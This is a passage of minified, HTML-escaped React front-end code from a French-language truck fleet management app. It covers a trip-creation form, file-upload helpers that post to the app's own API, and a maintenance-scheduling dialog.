Date(r.dateArrivee):void 0};R.mutate({trip:q,crewMemberIds:r.crewMemberIds.length&gt;0?r.crewMemberIds:void 0})},$=h.find(G=&gt;G.id===r.vehicleId)||null,P=w?.trailer&amp;&amp;r.vehicleId?w.trailer:null,L=p||v||j||c||u,X=R.isPending,W=!r.missionId;return a.jsxs(&quot;div&quot;,{className:&quot;space-y-6 pb-20 md:pb-0 relative&quot;,children:[$&amp;&amp;a.jsx(it,{className:&quot;fixed top-20 right-4 md:right-8 z-50 p-3 shadow-lg border-2 border-primary/20 bg-background/95 backdrop-blur-sm max-w-[200px]&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;text-2xl&quot;,children:&quot;🚛&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-mono font-semibold text-sm truncate&quot;,children:$.immatriculation}),($.marque||$.modele||$.annee)&amp;&amp;a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground truncate&quot;,children:[$.marque,&quot; &quot;,$.modele,$.annee&amp;&amp;` – ${$.annee}`]})]})]})}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-4&quot;,children:[a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;e(&quot;/trajets&quot;),className:&quot;h-10 w-10&quot;,children:a.jsx(iu,{className:&quot;h-5 w-5&quot;})}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h1&quot;,{className:&quot;text-2xl font-semibold&quot;,children:&quot;Créer un voyage&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Planifiez un nouveau voyage pour un de vos véhicules&quot;})]})]}),L?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):a.jsxs(&quot;form&quot;,{onSubmit:O,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(Se,{className:&quot;text-base font-semibold&quot;,children:[&quot;Voyage &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,size:&quot;sm&quot;,onClick:()=&gt;e(&quot;/voyages/nouveau&quot;),className:&quot;text-xs&quot;,children:[a.jsx(Ti,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;Nouveau voyage&quot;]})]}),r.missionId?a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-3 max-h-64 overflow-y-auto p-2 border rounded-lg&quot;,children:l.map(G=&gt;{const J=r.missionId===G.id;return a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;n(q=&gt;({...q,missionId:G.id})),className:`relative p-3 rounded-lg border-2 transition-all text-left ${J?&quot;border-primary bg-primary/5 shadow-md&quot;:&quot;border-border hover:border-primary/50 hover:bg-accent&quot;}`,children:[J&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 right-2 z-10&quot;,children:a.jsx(na,{className:&quot;h-4 w-4 text-primary&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-sm truncate&quot;,children:G.title}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground font-mono&quot;,children:G.code})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 text-xs text-muted-foreground&quot;,children:[a.jsx(ei,{className:&quot;h-3 w-3&quot;}),a.jsx(&quot;span&quot;,{className:&quot;truncate&quot;,children:G.loadingSite}),a.jsx(&quot;span&quot;,{children:&quot;→&quot;}),a.jsx(&quot;span&quot;,{className:&quot;truncate&quot;,children:G.unloadingSite})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:G.clientName}),G.tripCount!==void 0&amp;&amp;G.tripCount&gt;0&amp;&amp;a.jsxs(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs&quot;,children:[G.tripCount,&quot; trajet&quot;,G.tripCount&gt;1?&quot;s&quot;:&quot;&quot;]})]})]})]},G.id)})}):a.jsx(it,{className:&quot;p-6 border-dashed bg-muted/30&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;text-center space-y-3&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Sélectionnez ou créez d&#039;abord un voyage pour créer un trajet.&quot;}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;default&quot;,onClick:()=&gt;e(&quot;/voyages/nouveau&quot;),children:[a.jsx(Ti,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Créer un nouveau voyage&quot;]})]})})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsxs(Se,{className:&quot;text-base font-semibold&quot;,children:[&quot;Véhicule &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-3 max-h-96 overflow-y-auto p-2 border rounded-lg&quot;,children:E.map(G=&gt;{const J=r.vehicleId===G.id;return a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;T(G.id),disabled:W,className:`relative p-3 rounded-lg border-2 transition-all duration-150 text-left ${J?&quot;border-[#8B5CF6] bg-primary/5 shadow-[0_0_8px_rgba(139,92,246,0.3)]&quot;:&quot;border-border hover:border-primary/50 hover:bg-accent cursor-pointer&quot;} ${W?&quot;opacity-50 cursor-not-allowed&quot;:&quot;&quot;}`,style:J?{boxShadow:&quot;0 0 12px rgba(139, 92, 246, 0.4)&quot;}:{},children:[J&amp;&amp;a.jsxs(a.Fragment,{children:[a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 right-2 z-10&quot;,children:a.jsx(na,{className:&quot;h-5 w-5 text-[#8B5CF6]&quot;})}),a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 left-2 z-10&quot;,children:a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs bg-[#8B5CF6]/20 text-[#8B5CF6] border-[#8B5CF6]/30&quot;,children:&quot;✔️ Sélectionné&quot;})})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[G.photoUrl?a.jsx(&quot;div&quot;,{className:&quot;relative w-full aspect-video rounded overflow-hidden bg-muted&quot;,children:a.jsx(&quot;img&quot;,{src:Sr(G.photoUrl)||void 0,alt:G.immatriculation,className:&quot;w-full h-full object-cover&quot;,onError:q=&gt;{q.target.style.display=&quot;none&quot;}})}):a.jsx(&quot;div&quot;,{className:&quot;w-full aspect-video rounded bg-muted flex items-center justify-center&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;text-3xl&quot;,children:&quot;🚚&quot;})}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-mono font-semibold text-sm&quot;,children:G.immatriculation}),(G.marque||G.modele)&amp;&amp;a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[G.marque,&quot; &quot;,G.modele]})]})]})]},G.id)})})]}),a.jsx(__,{vehicle:$,trailer:P,isFromCoupling:i||!!w?.trailer&amp;&amp;!!r.vehicleId}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsxs(Se,{className:&quot;text-base font-semibold&quot;,children:[&quot;Chauffeurs &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),y.length===0?a.jsx(it,{className:&quot;p-4 border-dashed&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground text-center&quot;,children:&quot;Aucun chauffeur disponible&quot;})}):a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-3 max-h-96 overflow-y-auto p-2 border rounded-lg&quot;,children:S.map(G=&gt;{const J=r.crewMemberIds.includes(G.id),q=Ww[G.role]||Ww.chauffeur;return a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;M(G.id),disabled:W,className:`relative p-3 rounded-lg border-2 transition-all duration-150 text-left ${J?&quot;border-green-500 bg-green-50 dark:bg-green-950/20 shadow-[0_0_8px_rgba(34,197,94,0.3)]&quot;:&quot;border-border hover:border-primary/50 hover:bg-accent cursor-pointer&quot;} ${W?&quot;opacity-50 cursor-not-allowed&quot;:&quot;&quot;}`,style:J?{boxShadow:&quot;0 0 12px rgba(34, 197, 94, 0.4)&quot;}:{},children:[J&amp;&amp;a.jsxs(a.Fragment,{children:[a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 right-2 z-10&quot;,children:a.jsx(na,{className:&quot;h-5 w-5 text-green-600&quot;})}),a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 left-2 z-10&quot;,children:a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs bg-green-500/20 text-green-700 dark:text-green-400 border-green-500/30&quot;,children:&quot;Sélectionné&quot;})})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-center space-y-2&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;relative w-16 h-16 rounded-full overflow-hidden border-2 border-border&quot;,children:G.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(G.photoUrl)||void 0,alt:`${G.prenom} ${G.nom}`,className:&quot;w-full h-full object-cover&quot;,onError:ee=&gt;{ee.target.style.display=&quot;none&quot;}}):a.jsx(&quot;div&quot;,{className:&quot;w-full h-full flex items-center justify-center bg-muted&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;text-2xl&quot;,children:&quot;👤&quot;})})}),a.jsxs(&quot;div&quot;,{className:&quot;text-center&quot;,children:[a.jsxs(&quot;p&quot;,{className:&quot;text-sm font-semibold&quot;,children:[G.prenom,&quot; &quot;,G.nom]}),a.jsx(yt,{variant:&quot;outline&quot;,className:`text-xs mt-1 ${q.badge}`,children:l$e[G.role]||G.role})]})]})]},G.id)})})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;origine&quot;,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(ei,{className:&quot;h-4 w-4 text-primary&quot;}),&quot;Départ &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;origine&quot;,list:&quot;origine-suggestions&quot;,placeholder:&quot;Ouagadougou&quot;,value:r.origine,onChange:G=&gt;n({...r,origine:G.target.value}),required:!0,disabled:W,className:&quot;h-12&quot;}),a.jsx(&quot;datalist&quot;,{id:&quot;origine-suggestions&quot;,children:_.map((G,J)=&gt;a.jsx(&quot;option&quot;,{value:G},J))})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;destination&quot;,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(MD,{className:&quot;h-4 w-4 text-primary&quot;}),&quot;Destination &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;destination&quot;,list:&quot;destination-suggestions&quot;,placeholder:&quot;Lomé&quot;,value:r.destination,onChange:G=&gt;n({...r,destination:G.target.value}),required:!0,disabled:W,className:&quot;h-12&quot;}),a.jsx(&quot;datalist&quot;,{id:&quot;destination-suggestions&quot;,children:_.map((G,J)=&gt;a.jsx(&quot;option&quot;,{value:G},J))})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-center gap-2 text-muted-foreground&quot;,children:[a.jsx(ei,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;div&quot;,{className:&quot;flex-1 h-0.5 bg-primary/40 rounded-full&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-lg&quot;,children:&quot;→&quot;}),a.jsx(&quot;div&quot;,{className:&quot;flex-1 h-0.5 bg-primary/40 rounded-full&quot;}),a.jsx(MD,{className:&quot;h-4 w-4&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;dateDepart&quot;,children:[&quot;Date de départ &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;dateDepart&quot;,type:&quot;datetime-local&quot;,value:r.dateDepart,onChange:G=&gt;n({...r,dateDepart:G.target.value}),required:!0,disabled:W,className:&quot;h-12&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;dateArrivee&quot;,children:&quot;Date d&#039;arrivée prévue&quot;}),a.jsx(Xe,{id:&quot;dateArrivee&quot;,type:&quot;datetime-local&quot;,value:r.dateArrivee,disabled:W,onChange:G=&gt;n({...r,dateArrivee:G.target.value}),className:&quot;h-12&quot;})]})]}),C.includes(&quot;TRACTEUR_SANS_REMORQUE&quot;)&amp;&amp;$&amp;&amp;a.jsxs(it,{className:&quot;p-4 border-2 border-destructive/50 bg-destructive/5&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-destructive mb-2&quot;,children:&quot;⚠️ Remorque requise&quot;}),a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mb-3&quot;,children:[&quot;Ce véhicule est un tracteur et nécessite une remorque. Allez dans la page &quot;,a.jsx(&quot;strong&quot;,{children:&quot;Attelages&quot;}),&quot; pour en atteler une avant de créer le voyage.&quot;]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-end gap-4 mt-8 pt-6 border-t&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;e(&quot;/trajets&quot;),className:&quot;h-12&quot;,children:&quot;Annuler&quot;}),a.jsx(ge,{type:&quot;submit&quot;,disabled:X||!Q||W,className:`h-12 ${Q&amp;&amp;!X&amp;&amp;!W?&quot;bg-[#8B5CF6] hover:bg-[#7C3AED] text-white shadow-lg hover:shadow-xl&quot;:&quot;&quot;}`,children:X?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;En cours...&quot;]}):&quot;Créer le voyage&quot;})]})]})]})}async function d$e(e){return await $t(&quot;/api/maintenances&quot;)}async function f$e(e,t){return await $t(`/api/maintenances/${e}`,{method:&quot;PATCH&quot;,body:t})}async function h$e(e,t){return await $t(`/api/maintenances/${e}/treat`,{method:&quot;POST&quot;,body:t})}function m$e(){const{toast:e}=Er(),t=eo(),r=_r({mutationFn:({maintenanceId:n,data:i})=&gt;h$e(n,i),onSuccess:()=&gt;{t.invalidateQueries({queryKey:[&quot;/api/maintenances&quot;]}),e({title:&quot;Entretien traité&quot;,description:&quot;L&#039;entretien a été traité avec succès.&quot;})},onError:n=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:n.message||&quot;Impossible de traiter l&#039;entretien&quot;})}});return{treat:r.mutate,isTreating:r.isPending}}async function gne(e){const t=new FormData;t.append(&quot;photo&quot;,e);const r=localStorage.getItem(&quot;parcapp_token&quot;),n={};r&amp;&amp;(n.Authorization=`Bearer ${r}`);const i=await fetch($s(&quot;/api/upload/loading-bon&quot;),{method:&quot;POST&quot;,headers:n,body:t,credentials:&quot;include&quot;});if(!i.ok){const s=await i.text();throw new Error(`${i.status}: ${s||i.statusText}`)}return await i.json()}async function p$e(e){const t=new FormData;t.append(&quot;logo&quot;,e);const r=localStorage.getItem(&quot;parcapp_token&quot;),n={};r&amp;&amp;(n.Authorization=`Bearer ${r}`);const i=await fetch($s(&quot;/api/upload/organization-logo&quot;),{method:&quot;POST&quot;,headers:n,body:t,credentials:&quot;include&quot;});if(!i.ok){const s=await i.text();throw new Error(`${i.status}: ${s||i.statusText}`)}return await i.json()}async function g$e(e){const t=new FormData;t.append(&quot;justificatif&quot;,e);const r=await fetch($s(&quot;/api/upload/expense-justificatif&quot;),{method:&quot;POST&quot;,body:t,credentials:&quot;include&quot;});if(!r.ok){const n=await r.text();throw new Error(`${r.status}: ${n||r.statusText}`)}return await r.json()}async function Ane(e){const t=new FormData;t.append(&quot;audio&quot;,e);const r=await fetch($s(&quot;/api/upload/breakdown-audio&quot;),{method:&quot;POST&quot;,body:t,credentials:&quot;include&quot;});if(!r.ok){const n=await r.text();throw new Error(`${r.status}: ${n||r.statusText}`)}return await r.json()}async function A$e(e){const t=new FormData;t.append(&quot;photo&quot;,e);const r=await fetch($s(&quot;/api/upload/breakdown-photo&quot;),{method:&quot;POST&quot;,body:t,credentials:&quot;include&quot;});if(!r.ok){const n=await r.text();throw new Error(`${r.status}: ${n||r.statusText}`)}return await r.json()}async function x$e(e){const t=new FormData;t.append(&quot;video&quot;,e);const r=await fetch($s(&quot;/api/upload/breakdown-video&quot;),{method:&quot;POST&quot;,body:t,credentials:&quot;include&quot;});if(!r.ok){const n=await r.text();throw new Error(`${r.status}: ${n||r.statusText}`)}return await r.json()}async function v$e(e){const t=new FormData;t.append(&quot;photo&quot;,e);const r=await fetch($s(&quot;/api/upload/unloading-weighing-ticket&quot;),{method:&quot;POST&quot;,body:t,credentials:&quot;include&quot;});if(!r.ok){const n=await r.text();throw new Error(`${r.status}: ${n||r.statusText}`)}return await r.json()}async function y$e(e){const t=new FormData;t.append(&quot;photo&quot;,e);const r=await fetch($s(&quot;/api/upload/maintenance-photo&quot;),{method:&quot;POST&quot;,body:t,credentials:&quot;include&quot;});if(!r.ok){const n=await r.text();throw new Error(`${r.status}: ${n||r.statusText}`)}return await r.json()}async function b$e(e){const t=new FormData;t.append(&quot;audio&quot;,e);const r=await fetch($s(&quot;/api/upload/maintenance-audio&quot;),{method:&quot;POST&quot;,body:t,credentials:&quot;include&quot;});if(!r.ok){const n=await r.text();throw new Error(`${r.status}: ${n||r.statusText}`)}return await r.json()}async function w$e(e){const t=new FormData;t.append(&quot;justificatif&quot;,e);const r=await fetch($s(&quot;/api/upload/maintenance-justificatif&quot;),{method:&quot;POST&quot;,body:t,credentials:&quot;include&quot;});if(!r.ok){const n=await r.text();throw new Error(`${r.status}: ${n||r.statusText}`)}return await r.json()}const E$e={vidange:&quot;Vidange&quot;,filtres:&quot;Filtres&quot;,pneus:&quot;Pneus&quot;,liquide_frein:&quot;Freins&quot;,adblue:&quot;AdBlue&quot;,autre:&quot;Autre&quot;};function Wv({type:e,data:t}){const n=(()=&gt;{switch(e){case&quot;vehicle&quot;:return{icon:a.jsx(Fa,{className:&quot;h-3 w-3&quot;}),text:t.kilometrage?`${(t.kilometrage/1e3).toFixed(0)}k km`:&quot;—&quot;};case&quot;trailer&quot;:return{icon:a.jsx(il,{className:&quot;h-3 w-3&quot;}),text:t.capacite?`${t.capacite} t`:&quot;—&quot;};case&quot;maintenance&quot;:return{icon:a.jsx(Fa,{className:&quot;h-3 w-3&quot;}),text:t.immatriculation||(t.maintenanceType?E$e[t.maintenanceType]||t.maintenanceType:&quot;Entretien&quot;)};case&quot;breakdown&quot;:return{icon:a.jsx(Fa,{className:&quot;h-3 w-3&quot;}),text:t.immatriculation||t.breakdownType||&quot;Panne&quot;};default:return null}})();return n?e===&quot;vehicle&quot;||e===&quot;trailer&quot;?a.jsxs(yt,{variant:&quot;secondary&quot;,className:&quot;inline-flex items-center gap-1.5 px-2.5 py-1 bg-background/95 backdrop-blur-sm border shadow-md text-xs font-medium w-fit max-w-full&quot;,children:[n.icon,a.jsx(&quot;span&quot;,{className:&quot;whitespace-nowrap&quot;,children:n.text})]}):a.jsxs(yt,{variant:&quot;secondary&quot;,className:&quot;absolute bottom-10 left-3 inline-flex items-center gap-1.5 px-2.5 py-1 bg-background/95 backdrop-blur-sm border shadow-md text-xs font-medium z-10 w-fit max-w-full&quot;,children:[n.icon,a.jsx(&quot;span&quot;,{className:&quot;whitespace-nowrap&quot;,children:n.text})]}):null}const C$e={&quot;Problème moteur&quot;:&quot;bg-red-100 text-red-800 border-red-300&quot;,&quot;Panne moteur&quot;:&quot;bg-red-100 text-red-800 border-red-300&quot;,&quot;Problème électrique&quot;:&quot;bg-yellow-100 text-yellow-800 border-yellow-300&quot;,&quot;Pneu crevé&quot;:&quot;bg-orange-100 text-orange-800 border-orange-300&quot;,Pneu:&quot;bg-orange-100 text-orange-800 border-orange-300&quot;,Surchauffe:&quot;bg-red-100 text-red-800 border-red-300&quot;,Carburant:&quot;bg-yellow-100 text-yellow-800 border-yellow-300&quot;,&quot;Panne sèche&quot;:&quot;bg-yellow-100 text-yellow-800 border-yellow-300&quot;},I$e={vidange:&quot;bg-blue-100 text-blue-800 border-blue-300&quot;,filtres:&quot;bg-green-100 text-green-800 border-green-300&quot;,pneus:&quot;bg-orange-100 text-orange-800 border-orange-300&quot;,liquide_frein:&quot;bg-red-100 text-red-800 border-red-300&quot;,adblue:&quot;bg-purple-100 text-purple-800 border-purple-300&quot;,autre:&quot;bg-gray-100 text-gray-800 border-gray-300&quot;};function v6({type:e,variant:t=&quot;maintenance&quot;,size:r=&quot;sm&quot;}){const n=t===&quot;maintenance&quot;?zA:$A,i=n[e]||n.autre||&quot;⚙️&quot;,o=(t===&quot;maintenance&quot;?I$e:C$e)[e]||(t===&quot;breakdown&quot;?&quot;bg-red-100 text-red-800 border-red-300&quot;:&quot;bg-gray-100 text-gray-800 border-gray-300&quot;),l={sm:&quot;text-xs px-2 py-0.5&quot;,md:&quot;text-sm px-2.5 py-1&quot;};return a.jsxs(yt,{variant:&quot;secondary&quot;,className:`${o} border font-semibold ${l[r]} flex items-center gap-1`,children:[a.jsx(&quot;span&quot;,{className:&quot;text-xs&quot;,children:i}),a.jsx(&quot;span&quot;,{children:e})]})}function j$e({vehicleId:e,onAdd:t,trigger:r,open:n,onOpenChange:i}){const[s,o]=I.useState(!1),l=n!==void 0?n:s,c=i||o,{data:d=[]}=cr({queryKey:[&quot;/api/vehicles&quot;]}),{data:u=[]}=cr({queryKey:[&quot;/api/trailers&quot;]}),[h,p]=I.useState(&quot;vehicle&quot;),[A,y]=I.useState(e||null),[v,w]=I.useState(null),[j,E]=I.useState({type:&quot;vidange&quot;,datePrevue:void 0,kilometragePrevu:void 0,dateEffectuee:void 0,kilometrageEffectue:void 0,cout:void 0,notes:void 0}),S=C=&gt;{if(C.preventDefault(),h===&quot;vehicle&quot;&amp;&amp;(!A||A&lt;=0)||h===&quot;trailer&quot;&amp;&amp;(!v||v&lt;=0))return;const Q={...j,vehicleId:h===&quot;vehicle&quot;?A:null,trailerId:h===&quot;trailer&quot;?v:null};t?.(Q),c(!1),E({type:&quot;vidange&quot;,datePrevue:void 0,kilometragePrevu:void 0,dateEffectuee:void 0,kilometrageEffectue:void 0,cout:void 0,notes:void 0}),p(&quot;vehicle&quot;),y(null),w(null)},_=a.jsxs(&quot;form&quot;,{onSubmit:S,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 py-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;maintenance-target&quot;,children:[&quot;Véhicule ou Remorque &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsxs(rn,{value:h,onValueChange:C=&gt;{p(C),y(null),w(null)},required:!0,children:[a.jsx(Xr,{id:&quot;maintenance-target&quot;,className:&quot;h-12&quot;,children:a.jsx(nn,{})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;vehicle&quot;,children:&quot;Véhicule&quot;}),a.jsx(Qt,{value:&quot;trailer&quot;,children:&quot;Remorque&quot;})]})]})]}),h===&quot;vehicle&quot;&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;vehicle-select&quot;,children:[&quot;Véhicule &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsxs(rn,{value:A?.toString()||&quot;&quot;,onValueChange:C=&gt;y(parseInt(C)),required:!0,children:[a.jsx(Xr,{id:&quot;vehicle-select&quot;,className:&quot;h-12&quot;,children:a.jsx(nn,{placeholder:&quot;Sélectionner un véhicule&quot;})}),a.jsx(en,{children:d.map(C=&gt;a.jsx(Qt,{value:C.id.toString(),children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Fa,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{children:C.immatriculation})]})},C.id))})]})]}),h===&quot;trailer&quot;&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;trailer-select&quot;,children:[&quot;Remorque &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsxs(rn,{value:v?.toString()||&quot;&quot;,onValueChange:C=&gt;w(parseInt(C)),required:!0,children:[a.jsx(Xr,{id:&quot;trailer-select&quot;,className:&quot;h-12&quot;,children:a.jsx(nn,{placeholder:&quot;Sélectionner une remorque&quot;})}),a.jsx(en,{children:u.map(C=&gt;a.jsx(Qt,{value:C.id.toString(),children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(il,{className:&quot;h-4 w-4&quot;}),a.jsxs(&quot;span&quot;,{children:[C.numeroChassis,&quot; &quot;,C.nom?`- ${C.nom}`:&quot;&quot;]})]})},C.id))})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;type&quot;,children:[&quot;Type &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsxs(rn,{value:j.type,onValueChange:C=&gt;E({...j,type:C}),required:!0,children:[a.jsx(Xr,{id:&quot;type&quot;,&quot;data-testid&quot;:&quot;select-type&quot;,className:&quot;h-12&quot;,children:a.jsx(nn,{placeholder:&quot;Sélectionner un type&quot;})}),a.jsx(en,{children:B_.map(C=&gt;a.jsx(Qt,{value:C,children:C.charAt(0).toUpperCase()+C.slice(1).replace(&quot;_&quot;,&quot; &quot;)},C))})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;datePrevue&quot;,children:&quot;Date prévue&quot;}),a.jsx(Xe,{id:&quot;datePrevue&quot;,type:&quot;date&quot;,value:j.datePrevue?new Date(j.datePrevue).toISOString().split(&quot;T&quot;)[0]:&quot;&quot;,onChange:C=&gt;E({...j,datePrevue:C.target.value?new Date(C.target.value):void 0}),className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-scheduled-date&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;kilometragePrevu&quot;,children:&quot;Kilométrage prévu&quot;}),a.jsx(Xe,{id:&quot;kilometragePrevu&quot;,type:&quot;number&quot;,placeholder:&quot;50000&quot;,value:j.kilometragePrevu||&quot;&quot;,onChange:C=&gt;E({...j,kilometragePrevu:C.target.value?parseInt(C.target.value):void 0}),min:&quot;0&quot;,className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-scheduled-km&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;dateEffectuee&quot;,children:&quot;Date effectuée&quot;}),a.jsx(Xe,{id:&quot;dateEffectuee&quot;,type:&quot;date&quot;,value:j.dateEffectuee?new Date(j.dateEffectuee).toISOString().split(&quot;T&quot;)[0]:&quot;&quot;,onChange:C=&gt;E({...j,dateEffectuee:C.target.value?new Date(C.target.value):void 0}),className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-done-date&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;kilometrageEffectue&quot;,children:&quot;Kilométrage effectué&quot;}),a.jsx(Xe,{id:&quot;kilometrageEffectue&quot;,type:&quot;number&quot;,placeholder:&quot;50000&quot;,value:j.kilometrageEffectue||&quot;&quot;,onChange:C=&gt;E({...j,kilometrageEffectue:C.target.value?parseInt(C.target.value):void 0}),min:&quot;0&quot;,className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-done-km&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;cout&quot;,children:&quot;Coût 